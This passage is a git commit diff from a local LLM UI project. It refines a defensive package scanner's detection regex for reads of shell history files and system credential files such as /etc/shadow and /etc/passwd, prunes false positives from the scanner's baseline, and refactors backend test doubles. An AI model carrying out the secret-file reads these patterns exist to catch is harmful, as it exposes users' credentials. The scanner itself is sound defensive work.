Skip to content

Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.

Fix CI on main: stale test doubles, a stale router stub, and two source defects (#8956)

Daniel Han135147814b54
diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py
index 7c26c3959d6..5a86bd7938e 100644
--- a/scripts/scan_packages.py
+++ b/scripts/scan_packages.py
@@ -279,9 +279,18 @@ RE_FS_ENUM = re.compile(
r"|\bglob\s*\.\s*glob\s*\([^)]*(?:\*\*|\*\.pem|\*\.key|\*\.cer|\*\.pfx|\*\.p12)"
r"|\bos\.listdir\s*\(\s*['\"](?:/home|/root|/Users|/etc)"
r"|\bPath\s*\(\s*['\"]~['\"]\s*\)\s*\.\s*glob\b"
- r"|\bhistory\b.*\bread\b" # reading shell history
- r"|\b\.bash_history\b"
- r"|\b\.zsh_history\b"
+ # Shell / REPL history FILES. Replaces `\bhistory\b.*\bread\b`, whose re.DOTALL `.*` spanned
+ # the whole file and produced 9 of the 11 baselined CRITICALs here (httpx, urllib3, IPython,
+ # torch) -- each allowlisted, which suppressed this check for the whole file.
+ r"|\.(?:bash|zsh|ksh|sh|python|node_repl|psql|mysql|rediscli|irb|sqlite)_history\b"
+ # Undotted history files, with a boundary that finds them however the path was built. fish
+ # writes fish_history and PowerShell writes PSReadLine/ConsoleHost_history.txt, neither with a
+ # leading dot. A quote counts as a boundary alongside a separator, so a basename assembled by
+ # Path.home() / "fish" / "fish_history" or os.path.join(h, "fish", "fish_history") still
+ # matches: there the character before the name is the quote, not a slash.
+ r"|(?:^|[/\\'\"])(?i:fish_history|ConsoleHost_history\.txt)\b"
+ r"|['\"~/]\.history\b"
+ r"|\bHISTFILE\b"
r"|/etc/shadow"
r"|/etc/passwd",
re.DOTALL,
diff --git a/scripts/scan_packages_baseline.json b/scripts/scan_packages_baseline.json
index 4314ff072fe..9b69c96fdab 100644
--- a/scripts/scan_packages_baseline.json
+++ b/scripts/scan_packages_baseline.json
@@ -114,14 +114,6 @@
"evidence": "Archive: L1353: with tarfile.open(fileobj=io.BytesIO(data), mode=\"r:gz\") as tar:\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:",
"evidence_hash": "73a7a72013e9f800627ea07e6dbc3beeb8c905a6a5480c8fd896f0063173d25c"
},
- {
- "package": "fastmcp-slim",
- "file": "fastmcp/cli/apps_dev.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L637: history.replaceState(null, \"\", url); sha256:17068ba5bfed62c3a3007ec8bf3e0ea41ef6529b9e6112064d9afb3be9231436\nNetwork: L1304: with httpx.Client(timeout=30.0) as client: | L1318: with httpx.Client(timeout=30.0) as client: | L1348: with httpx.Client(timeout=30.0) as client: | L1549: client = httpx.AsyncClient(\nL1550: timeout=httpx.Timeout(60.0, read=None), trust_env=False\nL1551: ) | L1713: async with httpx.AsyncClient(trust_env=False) as client: | L1781: with socket.socket(family, socket.SOCK_STREAM) as s:",
- "evidence_hash": "e5325edfada6499540e6f0c24a0868979d275522e2b6a180aa9b5dd3280681b4"
- },
{
"package": "fonttools",
"file": "fontTools/diff/__init__.py",
@@ -146,14 +138,6 @@
"evidence": "Env: L268: if os.environ.get(\"HF_TOKEN\"): | L269: headers[\"Authorization\"] = f\"Bearer {os.environ['HF_TOKEN']}\"\nNetwork: L236: response = requests.get(url, allow_redirects=True, headers=headers) | L258: response = requests.head(url, allow_redirects=True, headers=headers)",
"evidence_hash": "231235fe72f6c47331494b67dd0cba2bdb7b75b901f4fe59b434ce9a1ffbd50e"
},
- {
- "package": "httpx",
- "file": "httpx/_models.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L528: history: list[Response] | None = None, sha256:f56272dccd651b2644aa41ef6e688e211462427aad07fef5150240ec7347446e\nNetwork: L9: import urllib.request | L1243: class _CookieCompatRequest(urllib.request.Request):",
- "evidence_hash": "b32f79e58c938680d89efa74113eeba76c9fc5aedf5de18086f93bef274c4bda"
- },
{
"package": "huggingface-hub",
"file": "huggingface_hub/_sandbox.py",
@@ -218,14 +202,6 @@
"evidence": "L461: while True: sha256:0c9641548adea74be4a8b0e86e8b75cc937a2b0f833b57dfa3d30d3e24d2537a",
"evidence_hash": "70d25136ca2a91d192bd816706db7113a2ad0f96bc1b2381d0d4747a5ff1925d"
},
- {
- "package": "ipython",
- "file": "IPython/core/interactiveshell.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:b644ca2db22c393a1d3302e855a013215446f5aae5eceb7a9fdab4a6d0610b14\nNetwork: L4048: from urllib.request import urlopen | L4049: response = urlopen(target)",
- "evidence_hash": "c332f54f5b94641a417958be0a9be7446f25c65dc007dedd3cb5f01d83076cb3"
- },
{
"package": "ipython",
"file": "IPython/terminal/pt_inputhooks/__init__.py",
@@ -466,14 +442,6 @@
"evidence": "L154: exec(f.read(), custom_namespace)",
"evidence_hash": "b767963474babbcfef5652eb7528d34dd9e17efa2aa0d2cef63d809ea4ad0f83"
},
- {
- "package": "pygments",
- "file": "pygments/lexers/_mysql_builtins.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L792: 'history', sha256:7c4e519af214f72bf45d4dcfa6a90aa96d2ffd5d1b76b244998110077a946fd2\nNetwork: L1285: from urllib.request import urlopen | L1297: lex_file = urlopen(LEX_URL).read().decode('utf8', errors='ignore') | L1303: item_create_file = urlopen(ITEM_CREATE_URL).read().decode('utf8', errors='ignore')",
- "evidence_hash": "b379f7d1fc3d64911722a7082237ed225c874240cf388c07120b8cdaace16114"
- },
{
"package": "pygments",
"file": "pygments/lexers/_php_builtins.py",
@@ -722,14 +690,6 @@
"evidence": "L40: return importlib.import_module(\".\" + name, __name__)",
"evidence_hash": "12ffaf457296d821628b42ddf564f62a12e8aeeb615c420adf60b8045cf0319a"
},
- {
- "package": "torch",
- "file": "torch/cuda/_memory_viz.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L74: if \"history\" in b: sha256:8537d03f5cf112e0dd4afd03d7928fce66a1b24456ee5b9cf3cd776d1b756c34\nNetwork: L97: import urllib.request | L101: urllib.request.urlretrieve(\nL102: \"https://raw.githubusercontent.com/brendangregg/FlameGraph/master/flamegraph.pl\",\nL103: f.name,\nL104: )",
- "evidence_hash": "ee54e444a087560402a5ec3b1412e11c95d44f086108664b74cafb7ebc990d85"
- },
{
"package": "torch",
"file": "torch/distributed/elastic/multiprocessing/redirects.py",
@@ -786,14 +746,6 @@
"evidence": "L82: exec(compile(f.read(), fname, \"exec\"), glob, glob) | L655: exec(compile(f.read(), conf_filename, \"exec\"), namespace, namespace)",
"evidence_hash": "9e87a409b6486719d3c85dbdbc63bebbd01ca59f3bf6c7b5061bcc744dfba470"
},
- {
- "package": "transformers",
- "file": "transformers/integrations/integration_utils.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L2125: \"Syncing log history requires both flytekitplugins-deck-standard and pandas to be installed. \" sha256:e8d462221be344624d83eea5e696f898835c89de17020fee72f03b5bb79ada56\nNetwork: L2530: import urllib.request | L2561: req = urllib.request.Request(url, data=data, headers=headers, method=\"POST\") | L2562: with urllib.request.urlopen(req, timeout=5, context=self._get_ssl_context()) as resp:",
- "evidence_hash": "7c999f55312c7485cb0d5dd40134dc6aabb1c718fd3a3efe5cc48e0d5a8f26ca"
- },
{
"package": "transformers",
"file": "transformers/integrations/integration_utils.py",
@@ -1031,16 +983,8 @@
"file": "unsloth_zoo/llama_cpp.py",
"check": "Harvests environment variables/secrets AND makes network calls",
"severity": "CRITICAL",
- "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699: response = requests.get(\nL1700: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701: ) | L2873: check = requests.get(llama_cpp_chat_file, timeout = 5)",
- "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
- },
- {
- "package": "urllib3",
- "file": "urllib3/response.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L557: if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResponse like. \"",
- "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839"
+ "evidence": "Env: L705: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L713: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1721: response = requests.get(\nL1722: LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1723: ) | L3227: check = requests.get(llama_cpp_chat_file, timeout = 5)",
+ "evidence_hash": "edc8fe3789a3596f458bb345b7bce4ad0e8752b3f4aba0bdfe9a70e41b60a658"
},
{
"package": "urllib3",
@@ -1602,14 +1546,6 @@
"evidence": "L2998: exec(compiler(f.read(), fname, \"exec\"), glob, loc)",
"evidence_hash": "99dbd9b2cf5ede37fe3123e0789439bd3f82648a5443482e451ec04105be3c12"
},
- {
- "package": "ipython",
- "file": "IPython/core/interactiveshell.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L78: from IPython.core.history import HistoryManager, HistoryOutput sha256:d8df7b3aead9d1fc528b62f68a017797cc6ce9184746338eba1586eab9d52174\nNetwork: L4075: from urllib.request import urlopen | L4076: response = urlopen(target)",
- "evidence_hash": "11831b523706de852722b6d342d38e1f5367dd1ad6e6c4d44fccf638eaec7361"
- },
{
"package": "openai",
"file": "openai/_base_client.py",
@@ -1715,14 +1651,6 @@
"evidence": "L747: os.dup2(good_fd, closed_fd)",
"evidence_hash": "7eb34f0b046a377f38f3d1a66daadce492c43cda85b7967f66c7ad62f0ca4169"
},
- {
- "package": "httpx2",
- "file": "httpx2/_models.py",
- "check": "Enumerates filesystem AND makes network calls",
- "severity": "CRITICAL",
- "evidence": "FS: L534: history: list[Response] | None = None, sha256:934ed9b3eb1a374f2ff77800fa760232842538d1d487e87e1411d764314bf086\nNetwork: L9: import urllib.request | L1228: class _CookieCompatRequest(urllib.request.Request):",
- "evidence_hash": "c1faa319a4a8b53e133819b90be51fb12aae77477ae5ceda22d0f9930e646130"
- },
{
"package": "openai",
"file": "openai/_base_client.py",
diff --git a/studio/backend/tests/asgi_stream_helpers.py b/studio/backend/tests/asgi_stream_helpers.py
new file mode 100644
index 00000000000..2a04f36a283
--- /dev/null
+++ b/studio/backend/tests/asgi_stream_helpers.py
@@ -0,0 +1,53 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Wait for an SSE frame without swallowing the reason it never arrived.
+
+The slot-release tests drive the ASGI app in a task and wait on an event a fake ``send()`` sets. If
+the request path raises first, the wait times out and the ``finally``'s ``gather(...,
+return_exceptions = True)`` discards the real exception, leaving a bare ``TimeoutError``. That is
+how #8700's unguarded ``llama_backend.context_length`` read surfaced: four 20-second "flakes"
+hiding an ``AttributeError``. So if the driving task has failed, raise ITS exception.
+"""
+
+from __future__ import annotations
+
+import asyncio
+
+
+async def wait_for_frame(
+ event: asyncio.Event,
+ task: asyncio.Task,
+ *,
+ timeout: float = 20.0,
+ what: str = "the expected SSE frame",
+) -> None:
+ """Wait for *event*, surfacing *task*'s exception if it died first.
+
+ The timeout is a deadlock backstop, not a performance assertion: these tests take milliseconds
+ when they pass, so a timeout means "never happened", not "too slow".
+ """
+ waiter = asyncio.ensure_future(event.wait())
+ try:
+ done, _ = await asyncio.wait(
+ {waiter, task}, timeout = timeout, return_when = asyncio.FIRST_COMPLETED
+ )
+ # The task is checked FIRST, even when the frame did go out. A send() that sets the event
+ # and then raises leaves both futures done, and returning on the frame there would drop the
+ # exception into the caller's gather(return_exceptions = True) -- the exact silence this
+ # helper exists to break.
+ if task in done:
+ exc = task.exception()
+ if exc is not None:
+ when = "after" if event.is_set() else "before"
+ raise AssertionError(f"the request failed {when} {what} was sent: {exc!r}") from exc
+ if waiter in done:
+ return
+ if task in done:
+ raise AssertionError(f"the request completed without sending {what}")
+ raise AssertionError(
+ f"timed out after {timeout}s waiting for {what}, and the request task is still "
+ f"running: the path is parked rather than failing"
+ )
+ finally:
+ waiter.cancel()
diff --git a/studio/backend/tests/llama_backend_double.py b/studio/backend/tests/llama_backend_double.py
new file mode 100644
index 00000000000..50730c025a0
--- /dev/null
+++ b/studio/backend/tests/llama_backend_double.py
@@ -0,0 +1,35 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""One shared attribute surface for the llama.cpp backend doubles.
+
+Nine hand-written doubles across five test files re-declared the same attribute block, so a new
+attribute read off ``llama_backend`` in production breaks whichever doubles were not updated. #8700
+did exactly that with ``context_length``: 19 red tests, some a plain ``AttributeError`` under
+TestClient, some a 20-second timeout in the slot-release tests that reads as "the slot was never
+released".
+
+Inherit from this class rather than re-declaring the block, and add new shared attributes here.
+``test_llama_backend_double.py`` keeps it honest in both directions.
+"""
+
+from __future__ import annotations
+
+from typing import Optional
+
+
+class FakeLlamaCppBackend:
+ """The attributes ``routes/inference.py`` reads off a loaded GGUF backend.
+
+ Subclasses override what their scenario needs (notably ``supports_tools``, which selects the
+ tool loop) and supply the generator methods: behaviour is per-test, the attribute surface is not.
+ """
+
+ is_loaded = True
+ model_identifier = "test/model.gguf"
+ _is_audio = False
+ is_vision = False
+ supports_tools = False
+ # Read unguarded on the chat-completions path for the monitor's context-usage readout. None is
+ # what the real property answers before a model is loaded; context-usage tests set a number.
+ context_length: Optional[int] = None
diff --git a/studio/backend/tests/test_desktop_auth.py b/studio/backend/tests/test_desktop_auth.py
index cc45575bb55..e364edb3a02 100644
--- a/studio/backend/tests/test_desktop_auth.py
+++ b/studio/backend/tests/test_desktop_auth.py
@@ -781,6 +781,22 @@ def test_desktop_capabilities_json_reports_rollout_safe_flags():
assert isinstance(body["version"], str)
+def _routers_main_imports() -> set[str]:
+ """Every ``*_router`` name in main.py's ``from routes import (...)`` block, read textually:
+ importing ``routes`` would pull in torch, transformers and llama.cpp, which is what the stub
+ below exists to avoid."""
+ import re
+ from pathlib import Path
+
+ backend = Path(__file__).resolve().parent.parent
+ main_src = (backend / "main.py").read_text(encoding = "utf-8")
+ block = re.search(r"from routes import \(([^)]*)\)", main_src, re.S)
+ assert block is not None, "main.py no longer has a parenthesised routes import; re-derive this"
+ names = set(re.findall(r"(\w+_router)", block.group(1)))
+ assert names, "the routes import block named no routers; re-derive this"
+ return names
+
+
def test_health_response_reports_desktop_capability_fields(monkeypatch):
routes_module = ModuleType("routes")
routes_module.__path__ = []
@@ -797,26 +813,16 @@ def test_health_response_reports_desktop_capability_fields(monkeypatch):
profile_stats_module = ModuleType("routes.profile_stats")
profile_stats_module.router = APIRouter()
- for name, router in {
- "auth_router": APIRouter(),
- "chat_history_router": APIRouter(),
- "data_recipe_router": APIRouter(),
- "datasets_router": APIRouter(),
- "export_router": APIRouter(),
- "inference_router": APIRouter(),
- "inference_studio_router": APIRouter(),
- "mcp_servers_router": APIRouter(),
- "models_router": APIRouter(),
- "openai_codex_auth_router": APIRouter(),
- "providers_router": APIRouter(),
- "rag_router": APIRouter(),
- "research_runs_router": APIRouter(),
- "settings_router": settings_module.router,
- "training_history_router": APIRouter(),
- "training_router": APIRouter(),
- "video_router": APIRouter(),
- }.items():
- setattr(routes_module, name, router)
+ # Derived from main.py's import block, not hand-listed: the old hardcoded dict went stale
+ # twice (#8511's openai_codex_auth_router, #8648's youtube_router), each time killing every
+ # test in this file with an ImportError.
+ for name in _routers_main_imports():
+ setattr(
+ routes_module,
+ name,
+ # The health payload reads the real settings router.
+ settings_module.router if name == "settings_router" else APIRouter(),
+ )
routes_module.settings = settings_module
routes_module.llama = llama_module
@@ -1066,32 +1072,33 @@ def test_desktop_auth_provision_has_bounded_timeout():
def test_the_router_stub_covers_every_router_main_imports():
- """The fake ``routes`` module above is a hardcoded dict, so a router added to main.py's
- ``from routes import (...)`` block without a matching stub entry kills every test in this
- file with an ImportError rather than a useful message, as ``openai_codex_auth_router`` did
- after #8511. Comparing the two lists keeps that omission local to this assertion."""
- import inspect
+ """The stub is derived from main.py, so it cannot go stale as it did for #8511's
+ ``openai_codex_auth_router`` and #8648's ``youtube_router``. What can still break is the
+ derivation: a reshaped import block would silently yield a short list. So pin it against the
+ real package's ``__all__``, read textually for the same no-import reason."""
import re
from pathlib import Path
backend = Path(__file__).resolve().parent.parent
- main_src = (backend / "main.py").read_text(encoding = "utf-8")
- block = re.search(r"from routes import \(([^)]*)\)", main_src, re.S)
- assert block is not None, "main.py no longer has a parenthesised routes import; re-derive this"
- imported = set(re.findall(r"(\w+_router)", block.group(1)))
- assert imported, "the routes import block named no routers; re-derive this"
-
- # The health test's own stub only: another fixture's stubs would count as coverage here.
- own_src = inspect.getsource(test_health_response_reports_desktop_capability_fields)
- stubbed = set(re.findall(r'"(\w+_router)":', own_src))
- assert stubbed, "the health test's stub dict named no routers; re-derive this"
- missing = sorted(imported - stubbed)
- assert not missing, (
- f"main.py imports {missing} from routes, but the stub dict in this file does not "
- f"define them, so the routes stand-in will not satisfy that import"
+ imported = _routers_main_imports()
+
+ init_src = (backend / "routes" / "__init__.py").read_text(encoding = "utf-8")
+ all_block = re.search(r"__all__\s*=\s*\[([^\]]*)\]", init_src, re.S)
+ assert all_block is not None, "routes/__init__.py no longer has a literal __all__"
+ exported = set(re.findall(r'"(\w+_router)"', all_block.group(1)))
+ assert exported, "routes/__init__.py's __all__ named no routers; re-derive this"
+
+ unknown = sorted(imported - exported)
+ assert not unknown, (
+ f"main.py imports {unknown} from routes, but routes/__init__.py does not export them: "
+ f"the app itself would fail to start"
)
- # Same drift for submodule imports, which need a sys.modules entry rather than a dict key.
+ # Same drift for submodule imports, which need a sys.modules entry and are still hand-listed.
+ import inspect
+
+ main_src = (backend / "main.py").read_text(encoding = "utf-8")
+ own_src = inspect.getsource(test_health_response_reports_desktop_capability_fields)
submodules = set(re.findall(r"^from routes\.(\w+) import", main_src, re.M))
assert submodules, "main.py imports no routes submodule; re-derive this"
registered = set(re.findall(r'setitem\(\s*sys\.modules,\s*"routes\.(\w+)"', own_src))
diff --git a/studio/backend/tests/test_gguf_completion_usage.py b/studio/backend/tests/test_gguf_completion_usage.py
index d1e05f3e0e7..b5fc5e9cc83 100644
--- a/studio/backend/tests/test_gguf_completion_usage.py
+++ b/studio/backend/tests/test_gguf_completion_usage.py
@@ -8,15 +8,10 @@ from fastapi.testclient import TestClient
from auth.authentication import get_current_subject
import routes.inference as inference_route
+from .llama_backend_double import FakeLlamaCppBackend
-class _GgufBackend:
- is_loaded = True
- model_identifier = "test/model.gguf"
- _is_audio = False
- is_vision = False
- supports_tools = False
-
+class _GgufBackend(FakeLlamaCppBackend):
def __init__(self, usage):
self.usage = usage
diff --git a/studio/backend/tests/test_gguf_stream_slot_release.py b/studio/backend/tests/test_gguf_stream_slot_release.py
index 4390f364c84..8c5fce9e1ea 100644
--- a/studio/backend/tests/test_gguf_stream_slot_release.py
+++ b/studio/backend/tests/test_gguf_stream_slot_release.py
@@ -23,6 +23,8 @@ from fastapi import FastAPI
from auth.authentication import get_current_subject
from core.inference import llama_admission
import routes.inference as inference_route
+from .llama_backend_double import FakeLlamaCppBackend
+from .asgi_stream_helpers import wait_for_frame
@pytest.fixture(autouse = True)
@@ -161,16 +163,11 @@ def test_stopping_the_disconnect_watcher_cannot_hang():
asyncio.run(_drive())
-class _OneSlotGgufBackend:
+class _OneSlotGgufBackend(FakeLlamaCppBackend):
"""A loaded 1-parallel GGUF backend, the shape CI runs."""
- is_loaded = True
- model_identifier = "test/model.gguf"
base_url = "http://llama.test"
effective_parallel_slots = 1
- _is_audio = False
- is_vision = False
- supports_tools = False
def generate_chat_completion(self, **kwargs):
yield "hi"
@@ -245,7 +242,7 @@ def test_real_stream_frees_the_slot_at_done_with_a_wedged_teardown(monkeypatch):
task = asyncio.create_task(app(scope, receive, send))
try:
- await asyncio.wait_for(sent_body.wait(), timeout = 20.0)
+ await wait_for_frame(sent_body, task, what = "the [DONE] frame")
for _ in range(200):
if _active_slots() == 0:
break
diff --git a/studio/backend/tests/test_gguf_stream_slot_release_ordering.py b/studio/backend/tests/test_gguf_stream_slot_release_ordering.py
index 7a8ceb4f535..a2b1ed4fc68 100644
--- a/studio/backend/tests/test_gguf_stream_slot_release_ordering.py
+++ b/studio/backend/tests/test_gguf_stream_slot_release_ordering.py
@@ -28,6 +28,8 @@ from fastapi import FastAPI
from auth.authentication import get_current_subject
from core.inference import llama_admission
import routes.inference as inference_route
+from .llama_backend_double import FakeLlamaCppBackend
+from .asgi_stream_helpers import wait_for_frame
@pytest.fixture(autouse = True)
@@ -43,16 +45,11 @@ def _active_slots() -> int:
return sum(queue.snapshot().active for queue in queues)
-class _OneSlotBackend:
+class _OneSlotBackend(FakeLlamaCppBackend):
"""A loaded 1-parallel GGUF backend, the shape CI runs."""
- is_loaded = True
- model_identifier = "test/model.gguf"
base_url = "http://llama.test"
effective_parallel_slots = 1
- _is_audio = False
- is_vision = False
- supports_tools = False
def __init__(self):
self.closing = threading.Event()
@@ -182,7 +179,7 @@ def test_slot_is_free_before_the_done_frame_reaches_send(monkeypatch):
task = asyncio.create_task(app(_scope(app, body), receive, send))
try:
- await asyncio.wait_for(finished.wait(), timeout = 20.0)
+ await wait_for_frame(finished, task, what = "the finishing frame")
finally:
task.cancel()
await asyncio.gather(task, return_exceptions = True)
@@ -236,7 +233,7 @@ def test_error_sentinel_keeps_the_slot_until_the_generator_is_closed(monkeypatch
task = asyncio.create_task(app(_scope(app, body), receive, send))
try:
- await asyncio.wait_for(saw_error.wait(), timeout = 20.0)
+ await wait_for_frame(saw_error, task, what = "the error sentinel")
# Wait until cleanup reaches gen.close(), so llama-server still holds the slot.
for _ in range(500):
if backend.closing.is_set():
@@ -294,7 +291,7 @@ def test_cancelled_stream_keeps_the_slot_until_the_generator_is_closed(monkeypat
task = asyncio.create_task(app(_scope(app, body), receive, send))
try:
- await asyncio.wait_for(saw_done.wait(), timeout = 20.0)
+ await wait_for_frame(saw_done, task, what = "the [DONE] frame")
for _ in range(50):
if _active_slots() == 0:
break
diff --git a/studio/backend/tests/test_gguf_tool_non_streaming.py b/studio/backend/tests/test_gguf_tool_non_streaming.py
index d9044824cbf..880dbf5864c 100644
--- a/studio/backend/tests/test_gguf_tool_non_streaming.py
+++ b/studio/backend/tests/test_gguf_tool_non_streaming.py
@@ -17,13 +17,10 @@ from fastapi.testclient import TestClient
from auth.authentication import get_current_subject
import routes.inference as inference_route
+from .llama_backend_double import FakeLlamaCppBackend
-class _ToolGgufBackend:
- is_loaded = True
- model_identifier = "test/model.gguf"
- _is_audio = False
- is_vision = False
+class _ToolGgufBackend(FakeLlamaCppBackend):
supports_tools = True
def generate_chat_completion_with_tools(self, **kwargs):
diff --git a/studio/backend/tests/test_llama_backend_double.py b/studio/backend/tests/test_llama_backend_double.py
new file mode 100644
index 00000000000..9cbde1357e0
--- /dev/null
+++ b/studio/backend/tests/test_llama_backend_double.py
@@ -0,0 +1,80 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""The shared backend double keeps up with the real backend, in both directions.
+
+Downward: the double must not claim attributes ``LlamaCppBackend`` lacks, or the tests pass against
+a backend that cannot exist.
+
+Upward, the one that bit: the route must still serve a request driven by a bare double. #8700 added
+an unguarded ``context_length`` read and updated five of eight test files, giving 19 failures split
+between ``AttributeError`` and 20-second timeouts, neither naming the attribute. The canary below
+fails in one place instead, with the attribute in the message.
+"""
+
+from __future__ import annotations
+
+import pytest
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+from auth.authentication import get_current_subject
+import routes.inference as inference_route
+
+from .llama_backend_double import FakeLlamaCppBackend
+
+
+def test_the_double_claims_nothing_the_real_backend_lacks():
+ """Every attribute the double declares exists on the real backend."""
+ from core.inference.llama_cpp import LlamaCppBackend
+
+ declared = {
+ name
+ for name in vars(FakeLlamaCppBackend)
+ if not name.startswith("__") and name != "_abc_impl"
+ }
+ # Attributes set in __init__ are not on the class, so check the source too.
+ import inspect
+
+ source = inspect.getsource(LlamaCppBackend)
+ missing = sorted(
+ name
+ for name in declared
+ if not hasattr(LlamaCppBackend, name) and f"self.{name}" not in source
+ )
+ assert missing == [], (
+ f"the double declares {missing}, which the real LlamaCppBackend does not have -- "
+ f"either the attribute was renamed in production or the double invented it"
+ )
+
+
+def test_a_bare_double_can_still_serve_a_chat_completion(monkeypatch):
+ """The canary: drive the real route with nothing but the shared double, so a newly read
+ attribute fails here by name rather than scattering errors across five files."""
+
+ class _Backend(FakeLlamaCppBackend):
+ def generate_chat_completion(self, **kwargs):
+ yield "hi"
+ yield {"type": "metadata", "usage": {}, "timings": {}}
+
+ monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Backend())
+
+ app = FastAPI()
+ app.include_router(inference_route.router)
+ app.dependency_overrides[get_current_subject] = lambda: "tester"
+
+ with TestClient(app) as client:
+ response = client.post(
+ "/chat/completions",
+ json = {
+ "model": "test/model.gguf",
+ "messages": [{"role": "user", "content": "hi"}],
+ "stream": False,
+ },
+ )
+
+ assert response.status_code == 200, (
+ f"the route could not be served with the shared double: {response.text[:400]}\n"
+ f"If this is an AttributeError, production began reading a new attribute off "
+ f"llama_backend -- add it to FakeLlamaCppBackend rather than to one test's fake."
+ )
diff --git a/studio/backend/tests/test_research_internal_call_tool_gate.py b/studio/backend/tests/test_research_internal_call_tool_gate.py
index 16722329ed4..c8c02887cba 100644
--- a/studio/backend/tests/test_research_internal_call_tool_gate.py
+++ b/studio/backend/tests/test_research_internal_call_tool_gate.py
@@ -18,6 +18,7 @@ from fastapi.testclient import TestClient
from auth.authentication import get_current_subject
import routes.inference as inference_route
from state.tool_policy import reset_tool_policy, set_tool_policy
+from .llama_backend_double import FakeLlamaCppBackend
@pytest.fixture(autouse = True)
@@ -27,13 +28,9 @@ def _clean_policy():
reset_tool_policy()
-class _Backend:
+class _Backend(FakeLlamaCppBackend):
"""Records which generation entry point the route picked."""
- is_loaded = True
- model_identifier = "test/model.gguf"
- _is_audio = False
- is_vision = False
supports_tools = True
def __init__(self):
@@ -110,8 +107,14 @@ def test_the_opt_out_changes_nothing_a_default_install_does(monkeypatch, policy)
after_entry, after_kwargs = _entry_point(monkeypatch, policy = policy, opt_out = True)
assert (before_entry, after_entry) == ("plain", "plain")
- # cancel_event is a fresh object per request, so identity differences say nothing.
- drop = {"cancel_event"}
+ # Both are fresh per request (a new Event, and the monitor's per-request tok/s closure), so
+ # comparing them by identity would fail for any pair of requests.
+ drop = {"cancel_event", "perf_callback"}
+ # But dropping perf_callback outright would also pass if the opt-out stopped supplying it at
+ # all, silently costing that path its tok/s readout. Compare presence first, then exclude.
+ assert callable(before_kwargs.get("perf_callback")) == callable(
+ after_kwargs.get("perf_callback")
+ ), "the opt-out must not decide whether llama.cpp timings are collected"
assert {k: v for k, v in before_kwargs.items() if k not in drop} == {
k: v for k, v in after_kwargs.items() if k not in drop
}
diff --git a/studio/backend/tests/test_sandbox_files_and_storage_roots.py b/studio/backend/tests/test_sandbox_files_and_storage_roots.py
index 4cabe17b593..6bf4239f001 100644
--- a/studio/backend/tests/test_sandbox_files_and_storage_roots.py
+++ b/studio/backend/tests/test_sandbox_files_and_storage_roots.py
@@ -9,9 +9,11 @@ compiled cache landed in the launcher's CWD, and a deleted chat left its folder
behind. Verified on Windows, macOS and Linux.
"""
+import functools
import hashlib
import json
import os
+import re
import shutil
import subprocess
import sys
@@ -24,6 +26,55 @@ from pathlib import Path
import pytest
+_FRONTEND_SRC = Path(__file__).resolve().parents[2] / "frontend" / "src"
+
+
[email protected]_cache(maxsize = None)
+def _frontend_text(*rel: str) -> str:
+ """The named frontend sources concatenated, read once per distinct scope.
+
+ Two scopes, deliberately different sizes. A promise the dialog MUST make is looked for where
+ user-visible copy legitimately lives, so an unrelated occurrence elsewhere cannot satisfy it;
+ a promise it must NOT make is looked for everywhere, where breadth only makes the check
+ stricter. The cache matters because the wide scope is ~1200 files.
+ """
+ paths: list[Path] = []
+ for r in rel:
+ target = _FRONTEND_SRC / r
+ if target.is_dir():
+ paths += [p for p in sorted(target.rglob("*")) if p.suffix in (".ts", ".tsx")]
+ else:
+ paths.append(target)
+ return "\n".join(p.read_text(encoding = "utf-8") for p in paths if p.is_file())
+
+
+def _frontend_copy_text() -> str:
+ """Where the sidebar's user-visible strings live: the locales, and the component itself."""
